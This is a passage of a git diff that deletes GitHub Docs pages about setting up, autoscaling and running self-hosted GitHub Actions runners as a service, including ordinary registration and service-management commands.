oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set -``` - -To use this configuration in a workflow, set the value of the `runs-on` key in your workflow to `arc-runner-set`, similar to the following example. - -```yaml -jobs: - job_name: - runs-on: arc-runner-set -``` - -## Using runner scale set names - -Runner scale set names are unique within the runner group they belong to. To deploy multiple runner scale sets with the same name, they must belong to different runner groups. For more information about specifying runner scale set names, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller). - -{% data reusables.actions.actions-runner-controller-labels %} For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#scaling-runners). - -## Legal notice - -{% data reusables.actions.actions-runner-controller-legal-notice %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners.md deleted file mode 100644 index 3bdf525ad7c9..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners.md +++ /dev/null @@ -1,229 +0,0 @@ ---- -title: About self-hosted runners -intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/about-self-hosted-runners - - /actions/automating-your-workflow-with-github-actions/about-self-hosted-runners - - /actions/hosting-your-own-runners/about-self-hosted-runners -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About self-hosted runners - -A self-hosted runner is a system that you deploy and manage to execute jobs from {% data variables.product.prodname_actions %} on {% data variables.product.github %}. For more information about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}."{% elsif ghec or ghes %} and [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises).{% endif %} - -{% data reusables.actions.self-hosted-runner-description %} {% data reusables.actions.self-hosted-runner-locations %} - -You can add self-hosted runners at various levels in the management hierarchy: -* Repository-level runners are dedicated to a single repository. -* Organization-level runners can process jobs for multiple repositories in an organization. -* Enterprise-level runners can be assigned to multiple organizations in an enterprise account. - -{% data reusables.actions.self-hosted-runner-architecture %} {% data reusables.actions.runner-app-open-source %} {% ifversion fpt or ghec %} When a new version is released, the runner application automatically updates itself when a job is assigned to the runner, or within a week of release if the runner hasn't been assigned any jobs. {% else ifversion ghes %} When a new version is released, the runner application will automatically update within 24 hours. {% endif %} -{% ifversion ghes %} - -> [!NOTE] -> {% data reusables.actions.upgrade-runners-before-upgrade-ghes %} - -{% endif %} - -{% data reusables.actions.self-hosted-runner-auto-removal %} - -For more information about installing and using self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow). - -## Differences between {% data variables.product.prodname_dotcom %}-hosted and self-hosted runners - -{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted runners are a highly configurable way to run workflows in your own custom environment. - -**{% data variables.product.prodname_dotcom %}-hosted runners:** -* Receive automatic updates for the operating system, preinstalled packages and tools, and the self-hosted runner application. -* Are managed and maintained by {% data variables.product.prodname_dotcom %}. -* Provide a clean instance for every job execution. -* Use free minutes on your {% data variables.product.prodname_dotcom %} plan, with per-minute rates applied after surpassing the free minutes. - -**Self-hosted runners:** -* Receive automatic updates for the self-hosted runner application only, though you may disable automatic updates of the runner. For more information about controlling runner software updates on self-hosted runners, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners#controlling-runner-software-updates-on-self-hosted-runners). You are responsible for updating the operating system and all other software. -* Can use cloud services or local machines that you already pay for. -* Are customizable to your hardware, operating system, software, and security requirements. -* Don't need to have a clean instance for every job execution. -* Are free to use with {% data variables.product.prodname_actions %}, but you are responsible for the cost of maintaining your runner machines.{% ifversion ghec or ghes %} -* Can be organized into groups to restrict access to specific workflows, organizations, and repositories. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups).{% endif %} - -## Requirements for self-hosted runner machines - -You can use any machine as a self-hosted runner as long at it meets these requirements: - -* You can install and run the self-hosted runner application on the machine. For more information, see [Supported architectures and operating systems for self-hosted runners](#supported-architectures-and-operating-systems-for-self-hosted-runners). -* The machine can communicate with {% data variables.product.prodname_actions %}. For more information, see [Communication between self-hosted runners and {% data variables.product.github %}](#communication-between-self-hosted-runners-and-github). -* The machine has enough hardware resources for the type of workflows you plan to run. The self-hosted runner application itself only requires minimal resources. -* If you want to run workflows that use Docker container actions or service containers, you must use a Linux machine and Docker must be installed. - -## Autoscaling your self-hosted runners - -You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners). - -## Usage limits - -There are some limits on {% data variables.product.prodname_actions %} usage when using self-hosted runners. These limits are subject to change. - -{% ifversion fpt or ghec or ghes > 3.12 %}- **Job execution time** - Each job in a workflow can run for up to 5 days of execution time. If a job reaches this limit, the job is terminated and fails to complete.{% endif %} -{% data reusables.actions.usage-workflow-run-time %} -* **Job queue time** - Each job for self-hosted runners that has been queued for at least 24 hours will be canceled. The actual time in queue can reach up to 48 hours before cancellation occurs. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete. -{% data reusables.actions.usage-api-requests %} -* **Job matrix** - {% data reusables.actions.usage-matrix-limits %} -{% data reusables.actions.usage-workflow-queue-limits %} -* **Registering self-hosted runners** - You can have a maximum of 10,000 self-hosted runners in one runner group. If this limit is reached, adding a new runner will not be possible. - -## Workflow continuity for self-hosted runners - -{% data reusables.actions.runner-workflow-continuity %} - -## Supported architectures and operating systems for self-hosted runners - -The following operating systems are supported for the self-hosted runner application. - -### Linux - -* Red Hat Enterprise Linux 8 or later -* CentOS 8 or later -* Oracle Linux 8 or later -* Fedora 29 or later -* Debian 10 or later -* Ubuntu 20.04 or later -* Linux Mint 20 or later -* openSUSE 15.2 or later -* SUSE Enterprise Linux (SLES) 15 SP2 or later - -### Windows - -* Windows 10 64-bit -* Windows 11 64-bit -* Windows Server 2016 64-bit -* Windows Server 2019 64-bit -* Windows Server 2022 64-bit - -### macOS - -* macOS 11.0 (Big Sur) or later - -### Architectures - -The following processor architectures are supported for the self-hosted runner application. - -* `x64` - Linux, macOS, Windows. -* `ARM64` - Linux, macOS{% ifversion actions-windows-arm %}, Windows (currently in {% data variables.release-phases.public_preview %}){% endif %}. -* `ARM32` - Linux. - -{% ifversion ghes %} - -## Supported actions on self-hosted runners - -All `actions/setup-LANGUAGE` action repositories currently support three platforms: macOS, Windows, and Ubuntu. -Some extra configuration might be required to use actions from {% data variables.product.github %} with {% data variables.product.prodname_ghe_server %}, or to use the `actions/setup-LANGUAGE` actions with self-hosted runners that do not have internet access. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom) and contact your {% data variables.product.prodname_enterprise %} site administrator. - -{% endif %} - -<a name="communication-requirements"></a> - -## Communication between self-hosted runners and {% data variables.product.github %} - -The self-hosted runner connects to {% ifversion fpt or ghec %}{% data variables.product.github %}{% else %}{% data variables.location.product_location_enterprise %}{% endif %} to receive job assignments and to download new versions of the runner application. The self-hosted runner uses an {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} _long poll_ that opens a connection to {% data variables.product.github %} for 50 seconds, and if no response is received, it then times out and creates a new long poll. The application must be running on the machine to accept and run {% data variables.product.prodname_actions %} jobs. - -{% data reusables.actions.self-hosted-runner-ports-protocols %} - -{% ifversion fpt or ghec %} -Since the self-hosted runner opens a connection to {% data variables.product.github %}, you do not need to allow {% data variables.product.prodname_dotcom %} to make inbound connections to your self-hosted runner. -{% elsif ghes %} -Only an outbound connection from the runner to {% data variables.product.prodname_ghe_server %} is required. There is no need for an inbound connection from {% data variables.product.prodname_ghe_server %} to the runner. -For caching to work, the runner must be able to communicate with the blob storage and directly download content from it. -{%- endif %} - -{% ifversion ghes %} - -{% data variables.product.prodname_ghe_server %} must accept inbound connections from your runners over HTTP(S) at {% data variables.location.product_location %}'s hostname and API subdomain, and your runners must allow outbound connections over HTTP(S) to {% data variables.location.product_location %}'s hostname and API subdomain. - -{% endif %} - -{% ifversion fpt or ghec %} - -You must ensure that the machine has the appropriate network access with at least 70 kilobits per second upload and download speed to communicate with the {% data variables.product.prodname_dotcom %} hosts listed below. Some hosts are required for essential runner operations, while other hosts are only required for certain functionality. - -You can use the REST API to get meta information about {% data variables.product.company_short %}, including the IP addresses of {% data variables.product.company_short %} services. For more information about the domains and IP addresses used, see [AUTOTITLE](/rest/meta/meta). - -{% data reusables.actions.domain-name-cname-recursive-firewall-rules %} - -{% data reusables.actions.runner-essential-communications %} - -In addition, your workflow may require access to other network resources. - -If you use an IP address allow list for your {% data variables.product.prodname_dotcom %} organization or enterprise account, you must add your self-hosted runner's IP address to the allow list. For more information, see [Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list) or [Enforcing policies for security settings in your enterprise](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -{% else %} - -{% ifversion ghes %}Self-hosted runners do not require any external internet access in order to function. As a result, you can use network routing to direct communication between the self-hosted runner and {% data variables.product.prodname_ghe_server %}. For example, you can assign a private IP address to your self-hosted runner and configure routing to send traffic to {% data variables.product.prodname_ghe_server %}, with no need for traffic to traverse a public network.{% endif %} - -{% endif %} - -You can also use self-hosted runners with a proxy server. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-a-proxy-server-with-self-hosted-runners). - -For more information about troubleshooting common network connectivity issues, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners#troubleshooting-network-connectivity). - -{% ifversion ghes %} - -## Communication between self-hosted runners and {% data variables.product.prodname_dotcom_the_website %} - -Self-hosted runners do not need to connect to {% data variables.product.prodname_dotcom_the_website %} unless you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions for {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise). - -If you have enabled automatic access to {% data variables.product.prodname_dotcom_the_website %} actions, then the self-hosted runner will connect directly to {% data variables.product.prodname_dotcom_the_website %} to download actions. You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} URLs listed below. - -```shell copy -github.com -api.github.com -codeload.github.com -pkg.actions.githubusercontent.com -``` - -{% data reusables.actions.domain-name-cname-recursive-firewall-rules %} - -{% endif %} - -## Self-hosted runner security - -{% ifversion fpt or ghec %} - -{% data reusables.actions.self-hosted-runner-security %} - -{% endif %} - -{% ifversion fpt or ghec %} - -This is not an issue with {% data variables.product.prodname_dotcom %}-hosted runners because each {% data variables.product.prodname_dotcom %}-hosted runner is always a clean isolated virtual machine, and it is destroyed at the end of the job execution. - -{% endif %} - -Untrusted workflows running on your self-hosted runner pose significant security risks for your machine and network environment, especially if your machine persists its environment between jobs. Some of the risks include: - -* Malicious programs running on the machine. -* Escaping the machine's runner sandbox. -* Exposing access to the machine's network environment. -* Persisting unwanted or dangerous data on the machine. - -For more information about security hardening for self-hosted runners, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners). - -### Restricting the use of self-hosted runners - -{% data reusables.actions.disable-selfhosted-runners-crossrefs %} - -{% ifversion ghec or ghes %} - -## Further reading - -* [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise) - -{% endif %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners.md deleted file mode 100644 index 6e51c2f69e23..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Adding self-hosted runners -intro: 'You can add a self-hosted runner to a repository, an organization, or an enterprise.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/adding-self-hosted-runners - - /actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners - - /actions/hosting-your-own-runners/adding-self-hosted-runners -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -shortTitle: Add self-hosted runners ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -You can add a self-hosted runner to a repository, an organization, or an enterprise. - -If you are an organization or enterprise administrator, you might want to add your self-hosted runners at the organization or enterprise level. This approach makes the runner available to multiple repositories in your organization or enterprise, and also lets you to manage your runners in one place. - -For information on supported operating systems for self-hosted runners, or using self-hosted runners with a proxy server, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -> [!WARNING] -> {% data reusables.actions.self-hosted-runner-security %} -> -> For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories). - -You can set up automation to scale the number of self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners). - -You can register ephemeral runners that perform a single job before the registration is cleaned up by using just-in-time runner registration. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#using-just-in-time-runners). - -## Prerequisites - -{% data reusables.actions.self-hosted-runners-prerequisites %} - -## Adding a self-hosted runner to a repository - -You can add self-hosted runners to a single repository. To add a self-hosted runner to a user repository, you must be the repository owner. For an organization repository, {% ifversion custom-org-roles %}you must be an organization owner, have admin access to the repository, or have the “Manage organization runners and runner groups” permission.{% else %}you must be an organization owner or have admin access to the repository.{% endif %} - -{% ifversion custom-org-roles %}For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %} - -For information about how to add a self-hosted runner with the REST API, see [AUTOTITLE](/rest/actions/self-hosted-runners). - -> [!NOTE] -> {% data reusables.actions.disable-selfhosted-runners-crossrefs %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-runners %} -1. Click **New self-hosted runner**. -{% data reusables.actions.self-hosted-runner-configure %} -{% data reusables.actions.self-hosted-runner-check-installation-success %} - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners). - -## Adding a self-hosted runner to an organization - -You can add self-hosted runners at the organization level, where they can be used to process jobs for multiple repositories in an organization. To add a self-hosted runner to an organization, you must be an organization owner{% ifversion custom-org-roles %} or have the "Manage organization runners and runner groups" permission{% endif %}. For information about how to add a self-hosted runner with the REST API, see [AUTOTITLE](/rest/actions/self-hosted-runners). - -{% ifversion custom-org-roles %}For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% ifversion actions-hosted-runners %}1. Click **New runner**, then click **New self-hosted runner**.{% else %}1. Click **New runner**.{% endif %} -{% data reusables.actions.self-hosted-runner-configure %} -{% data reusables.actions.self-hosted-runner-check-installation-success %} - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners). - -{% data reusables.actions.self-hosted-runner-public-repo-access %} - -## Adding a self-hosted runner to an enterprise - -{% ifversion fpt %}If you use {% data variables.product.prodname_ghe_cloud %}, you{% elsif ghec or ghes %}You{% endif %} can add self-hosted runners to an enterprise, where they can be assigned to multiple organizations. The organization owner can control which repositories can use it. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise).{% endif %} - -{% ifversion ghec or ghes %} -New runners are assigned to the default group. You can modify the runner's group after you've registered the runner. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). - -{% ifversion ghec or ghes %} - -To add a self-hosted runner to an enterprise, you must be an enterprise owner. For information about how to add a self-hosted runner with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/actions/self-hosted-runners). - -{% endif %} - -{% data reusables.actions.self-hosted-runner-add-to-enterprise %} - -{% data reusables.actions.self-hosted-runner-check-installation-success %} - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners). - -{% data reusables.actions.self-hosted-runner-public-repo-access %} - -### Making enterprise runners available to repositories - -By default, runners in an enterprise's "Default" self-hosted runner group are available to all organizations in the enterprise, but are not available to all repositories in each organization. - -To make an enterprise-level self-hosted runner group available to an organization repository, you might need to change the organization's inherited settings for the runner group to make the runner available to repositories in the organization. - -For more information on changing runner group access settings, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group). -{% endif %} - -{% ifversion ghec or ghes %} - -## Further reading - -* [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise) - -{% endif %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners.md deleted file mode 100644 index c76382f66238..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Autoscaling with self-hosted runners -shortTitle: Autoscale self-hosted runners -intro: You can automatically scale your self-hosted runners in response to webhook events. -redirect_from: - - /actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About autoscaling - -You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive with a particular label. For example, you can create automation that adds a new self-hosted runner each time you receive a [`workflow_job`](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook event with the [`queued`](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity, which notifies you that a new job is ready for processing. The webhook payload includes label data, so you can identify the type of runner the job is requesting. Once the job has finished, you can then create automation that removes the runner in response to the `workflow_job` [`completed`](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) activity. - -## Supported autoscaling solutions - -{% ifversion fpt or ghec %} - -{% data variables.product.prodname_dotcom %}-hosted runners inherently autoscale based on your needs. {% data variables.product.prodname_dotcom %}-hosted runners can be a low-maintenance and cost-effective alternative to developing or implementing autoscaling solutions. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners). - -{% endif %} - -The [actions/actions-runner-controller](https://github.com/actions/actions-runner-controller) (ARC) project is a Kubernetes-based runner autoscaler. {% data variables.product.prodname_dotcom %} recommends ARC if the team deploying it has expert Kubernetes knowledge and experience. - -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller). - -## Using ephemeral runners for autoscaling - -{% data variables.product.prodname_dotcom %} recommends implementing autoscaling with ephemeral self-hosted runners; autoscaling with persistent self-hosted runners is not recommended. In certain cases, {% data variables.product.prodname_dotcom %} cannot guarantee that jobs are not assigned to persistent runners while they are shut down. With ephemeral runners, this can be guaranteed because {% data variables.product.prodname_dotcom %} only assigns one job to a runner. - -This approach allows you to manage your runners as ephemeral systems, since you can use automation to provide a clean environment for each job. This helps limit the exposure of any sensitive resources from previous jobs, and also helps mitigate the risk of a compromised runner receiving new jobs. - ->[!WARNING]The runner application log files for ephemeral runners must be forwarded to an external log storage solution for troubleshooting and diagnostic purposes. While it is not required for ephemeral runners to be deployed, {% data variables.product.prodname_dotcom %} recommends ensuring runner logs are forwarded and preserved externally before deploying an ephemeral runner autoscaling solution in a production environment. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners#reviewing-the-self-hosted-runner-application-log-files). - -To add an ephemeral runner to your environment, include the `--ephemeral` parameter when registering your runner using `config.sh`. For example: - -```shell -./config.sh --url https://github.com/octo-org --token example-token --ephemeral -``` - -The {% data variables.product.prodname_actions %} service will then automatically de-register the runner after it has processed one job. You can then create your own automation that wipes the runner after it has been de-registered. - -> [!NOTE] -> If a job is labeled for a certain type of runner, but none matching that type are available, the job does not immediately fail at the time of queueing. Instead, the job will remain queued until the 24 hour timeout period expires. - -Alternatively, you can create ephemeral, just-in-time runners using the REST API. For more information, see [AUTOTITLE](/rest/actions/self-hosted-runners). - -## Controlling runner software updates on self-hosted runners - -By default, self-hosted runners will automatically perform a software update whenever a new version of the runner software is available. If you use ephemeral runners in containers then this can lead to repeated software updates when a new runner version is released. Turning off automatic updates allows you to update the runner version on the container image directly on your own schedule. - -To turn off automatic software updates and install software updates yourself, specify the `--disableupdate` flag when registering your runner using `config.sh`. For example: - -```shell -./config.sh --url https://github.com/YOUR-ORGANIZATION --token EXAMPLE-TOKEN --disableupdate -``` - -If you disable automatic updates, you must still update your runner version regularly. New functionality in {% data variables.product.prodname_actions %} requires changes in both the {% data variables.product.prodname_actions %} service _and_ the runner software. The runner may not be able to correctly process jobs that take advantage of new features in {% data variables.product.prodname_actions %} without a software update. - -If you disable automatic updates, you will be required to update your runner version within 30 days of a new version being made available. You may want to subscribe to notifications for releases in the [`actions/runner` repository](https://github.com/actions/runner/releases). For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#about-custom-notifications). - -For instructions on how to install the latest runner version, see the installation instructions for [the latest release](https://github.com/actions/runner/releases). - ->[!WARNING] Any updates released for the software, including major, minor or patch releases, are considered as an available update. If you do not perform a software update within 30 days, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner. In addition, if a critical security update is required, the {% data variables.product.prodname_actions %} service will not queue jobs to your runner until it has been updated. - -## Using webhooks for autoscaling - -You can create your own autoscaling environment by using payloads received from the [`workflow_job`](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook. This webhook is available at the repository, organization, and enterprise levels, and the payload for this event contains an `action` key that corresponds to the stages of a workflow job's life-cycle; for example when jobs are `queued`, `in_progress`, and `completed`. You must then create your own scaling automation in response to these webhook payloads. - -* For more information about the `workflow_job` webhook, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job). -* To learn how to work with webhooks, see [AUTOTITLE](/webhooks). - -## Authentication requirements - -You can register and delete repository and organization self-hosted runners using [the API](/rest/actions/self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token or a {% data variables.product.prodname_dotcom %} app. - -Your access token will require the following scope: - -* For private repositories, use an access token with the [`repo` scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes). -* For public repositories, use an access token with the [`public_repo` scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes). -* For organizations, use an access token with the [`admin:org` scope](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes). - -To authenticate using a {% data variables.product.prodname_dotcom %} App, it must be assigned the following permissions: - -* For repositories, assign the `administration` permission. -* For organizations, assign the `organization_self_hosted_runners` permission. - -You can register and delete enterprise self-hosted runners using [the API](/rest/actions/self-hosted-runners). To authenticate to the API, your autoscaling implementation can use an access token. - -Your access token will require the `manage_runners:enterprise` scope. diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service.md deleted file mode 100644 index dba917f89376..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/configuring-the-self-hosted-runner-application-as-a-service.md +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: Configuring the self-hosted runner application as a service -shortTitle: Run the runner app as a service -intro: You can configure the self-hosted runner application as a service to automatically start the runner application when the machine starts. -redirect_from: - - /actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service - - /actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -defaultPlatform: linux ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% capture service_first_step %}1. Stop the self-hosted runner application if it is currently running.{% endcapture %} -{% capture service_non_windows_intro_shell %}On the runner machine, open a shell in the directory where you installed the self-hosted runner application. Use the commands below to install and manage the self-hosted runner service.{% endcapture %} - -{% capture service_nonwindows_intro %} - -> [!NOTE] -> You must add a runner to {% data variables.product.github %} before you can configure the self-hosted runner application as a service. -For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -{% endcapture %} - -{% capture service_win_name %}actions.runner.*{% endcapture %} - -{% linux %} - -{{ service_nonwindows_intro }} - -For Linux systems that use `systemd`, you can use the `svc.sh` script that is created after successfully adding the runner to install and manage using the application as a service. - -{{ service_non_windows_intro_shell }} - -{% endlinux %} - -{% windows %} - -> [!NOTE] -> Configuring the self-hosted runner application as a service on Windows is part of the application configuration process. If you have already configured the self-hosted runner application but did not choose to configure it as a service, you must remove the runner from {% data variables.product.prodname_dotcom %} and re-configure the application. When you re-configure the application, choose the option to configure the application as a service. -> -> For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/removing-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners). - -You can manage the runner service in the Windows **Services** application, or you can use PowerShell to run the commands below. - -{% endwindows %} - -{% mac %} - -{{ service_nonwindows_intro }} - -{{ service_non_windows_intro_shell }} - -{% endmac %} - -{% linux %} - -## Installing the service - -{{ service_first_step }} -1. Install the service with the following command: - - ```shell - sudo ./svc.sh install - ``` - -1. Alternatively, the command takes an optional `user` argument to install the service as a different user. - - ```shell - ./svc.sh install USERNAME - ``` - -{% endlinux %} - -{% mac %} - -## Installing the service - -{{ service_first_step }} -1. Install the service with the following command: - - ```shell - ./svc.sh install - ``` - -{% endmac %} - -## Starting the service - -Start the service with the following command: - -{% linux %} - -```shell -sudo ./svc.sh start -``` - -{% endlinux %} -{% windows %} - -```shell -Start-Service "{{ service_win_name }}" -``` - -{% endwindows %} -{% mac %} - -```shell -./svc.sh start -``` - -{% endmac %} - -## Checking the status of the service - -Check the status of the service with the following command: - -{% linux %} - -```shell -sudo ./svc.sh status -``` - -{% endlinux %} -{% windows %} - -```shell -Get-Service "{{ service_win_name }}" -``` - -{% endwindows %} -{% mac %} - -```shell -./svc.sh status -``` - -{% endmac %} - - For more information on viewing the status of your self-hosted runner, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/monitoring-and-troubleshooting-self-hosted-runners). - -## Stopping the service - -Stop the service with the following command: - -{% linux %} - -```shell -sudo ./svc.sh stop -``` - -{% endlinux %} -{% windows %} - -```shell -Stop-Service "{{ service_win_name }}" -``` - -{% endwindows %} -{% mac %} - -```shell -./svc.sh stop -``` - -{% endmac %} - -## Uninstalling the service - -1. Stop the service if it is currently running. -1. Uninstall the service with the following command: - - {% linux %} - - ```shell - sudo ./svc.sh uninstall - ``` - - {% endlinux %} - {% windows %} - - ```shell - Remove-Service "{{ service_win_name }}" - ``` - - {% endwindows %} - {% mac %} - - ```shell - ./svc.sh uninstall - ``` - - {% endmac %} - -{% linux %} - -## Customizing the self-hosted runner service - -If you don't want to use the above default `systemd` service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `serviced` template at `actions-runner/bin/actions.runner.service.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point. - -{% endlinux %} - -{% mac %} - -## Customizing the self-hosted runner service - -If you don't want to use the above default launchd service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `plist` template at `actions-runner/bin/actions.runner.plist.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point. - -{% endmac %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs.md deleted file mode 100644 index 85454d081282..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/customizing-the-containers-used-by-jobs.md +++ /dev/null 